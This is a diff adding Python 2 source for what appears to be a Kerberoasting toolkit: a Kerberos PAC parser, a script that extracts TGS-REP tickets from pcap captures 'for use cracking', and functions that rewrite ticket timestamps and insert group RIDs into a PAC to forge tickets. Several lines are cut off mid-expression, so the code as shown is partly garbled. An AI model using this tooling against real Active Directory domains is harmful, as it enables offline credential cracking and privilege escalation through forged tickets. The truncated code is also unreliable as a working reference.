diff --git a/PAC.py b/PAC.py new file mode 100644 index 0000000..eed1204 --- /dev/null +++ b/PAC.py @@ -0,0 +1,601 @@ +#!/usr/local/bin/python2 -tt + +import struct +import collections +from abc import ABCMeta, abstractmethod +#from datetime import datetime,timedelta +import datetime +import math + +def BytesToTime(b): + # The FILETIME structure is a 64-bit value that represents the number of + # 100-nanosecond intervals that have elapsed since January 1, 1601 (UTC). + mftime = struct.unpack(' 0 and type(args[0]) == datetime.datetime: + dt = args[0] + + #dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) + if 'nanosecond' in kwargs: + #setattr(dt, 'nanoseconds', args[0].tzinfo) + dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo) + setattr(dt, 'nanosecond', kwargs['nanosecond']) + else: + #setattr(dt, 'nanoseconds', 0) + dt = datetime.datetime.__new__(cls, dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second, dt.microsecond, dt.tzinfo, nanoseconds=0) + setattr(dt, 'nanosecond', 0) + return dt + else: + dt = super(datetimenano, cls).__new__(cls, *args[:8], **kwargs) + if len(args) == 9: + setattr(cls, 'nanosecond', args[8]) + else: + setattr(cls, 'nanosecond', 0) + return dt + + def __str__(self): + s = super(datetimenano, self).__str__() + return '%s.%09i' % (s.split('.')[0], self.nanosecond) + return s + +class PacInfoStructure(object): + __metaclass__ = ABCMeta + + PrettyName = 'PacInfoStructure' + + Type = None + PrettyName = None + BufferSize = None + Offset = None + Data = None + + + def __init__(self, pac, index=0): + if input != None: + offset = 8 + 16 * index + + self.Type, self.BufferSize, self.Offset = struct.unpack(' MESSAGETYPEOFFSETTCP and p[TCP].load[MESSAGETYPEOFFSETTCP] == TGS_REP: + # found start of new TGS-REP + size = struct.unpack(">I", p[TCP].load[:4])[0] + if size + 4 == len(p[TCP].load): + kploads.append(p[TCP].load[4:size+4]) # strip the size field + else: + #print 'ERROR: Size is incorrect: %i vs %i' % (size, len(p[TCP].load)) + unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (p[TCP].load[4:size+4], size) + if verbose: print "found TCP payload of size %i" % size + elif unfinished.has_key((p[IP].src, p[IP].dst, p[TCP].dport)): + ticketdata, size = unfinished.pop((p[IP].src, p[IP].dst, p[TCP].dport)) + ticketdata += p[TCP].load + #print "cont: %i %i" % (len(ticketdata), size) + if len(ticketdata) == size: + kploads.append(ticketdata) + elif len(ticketdata) < size: + unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (ticketdata, size) + else: + # OH NO! Oversized! + print 'Too much data received! Source: %s Dest: %s DPort %i' % (p[IP].src, p[IP].dst, p[TCP].dport) + + + return kploads + + + +if __name__ == '__main__': + import argparse + + parser = argparse.ArgumentParser(description='Find TGS_REP packets in a pcap file and write them for use cracking') + parser.add_argument('-f', '--pcap', dest='pcaps', action='append', required=True, + metavar='PCAPFILE', #type=file, #argparse.FileType('r'), + help='a file to search for Kerberos TGS_REP packets') + parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=True, + metavar='OUTPUTFILE', type=argparse.FileType('w'), + help='the output file') + parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', default=False, + help='display verbose messages') + + args = parser.parse_args() + kploads = [] + for f in args.pcaps: + packets = rdpcap(f) + kploads += findkerbpayloads(packets, args.verbose) + if len(kploads) == 0: + print 'no payloads found' + else: + print 'writing %i hex encoded payloads to %s' % (len(kploads), args.outfile.name) + for p in kploads: + args.outfile.write(p.encode('hex') + '\n') + + + diff --git a/kerberoast.py b/kerberoast.py new file mode 100755 index 0000000..c338325 --- /dev/null +++ b/kerberoast.py @@ -0,0 +1,309 @@ +#!/usr/local/bin/python2 -tt + +import kerberos +from pyasn1.codec.ber import encoder, decoder +from pyasn1.type import univ, useful +import struct +import datetime +import re +import PAC + + +def walk(t): + if type(t) == str: + print 'String: %s' % t + else: + print 'Length: %i' % len(t) + for i in range(len(t)): + print '---%i---' % i + print t[i] + + +#Sequence().setComponentByPosition(0, BitString("'01000000101000010000000000000000'B")).setComponentByPosition(1, Sequence().setComponentByPosition(0, Integer(23)).setComponentByPosition(1, OctetString(hexValue='dfa121845d72f43271bbb33cd9e69443'))).setComponentByPosition(2, GeneralString('MEDIN.LOCAL')).setComponentByPosition(3, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, Sequence().setComponentByPosition(0, GeneralString('tm')))).setComponentByPosition(4, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, OctetString(''))).setComponentByPosition(5, GeneralizedTime('20140403172846Z')).setComponentByPosition(6, GeneralizedTime('20140403173119Z')) +def updatetimestampsserverticket(ticket, authtime=None, starttime=None, endtime=None, renewtiltime=None): + now = datetime.datetime.now() + # yes, this regex isn't perfect, but neither are you + if not authtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', authtime): + authtime = now.strftime('%Y%m%d%H%M%SZ') + if not starttime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', starttime): + starttime = now.strftime('%Y%m%d%H%M%SZ') + if not endtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', endtime): + endtime = (now + datetime.timedelta(hours=10)).strftime('%Y%m%d%H%M%SZ') + if not renewtiltime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', renewtiltime): + renewtiltime = (now + datetime.timedelta(hours=24)).strftime('%Y%m%d%H%M%SZ') + + # Dear, pyasn1 + # Why do I have to use a _ method to update a value. You expect me to write + # an entire spec, I don't want to. Because of this I HATE YOU. Please + # DIAF + # -Tim + # P.S. Suck it + ticket.getComponentByPosition(5)._value = useful.GeneralizedTime(authtime) + ticket.getComponentByPosition(6)._value = useful.GeneralizedTime(starttime) + ticket.getComponentByPosition(7)._value = useful.GeneralizedTime(endtime) + ticket.getComponentByPosition(8)._value = useful.GeneralizedTime(renewtiltime) + + return ticket + +def addgrouptopac(pac, grouprid): + version, numentries, pactype, pacsize, offset = struct.unpack('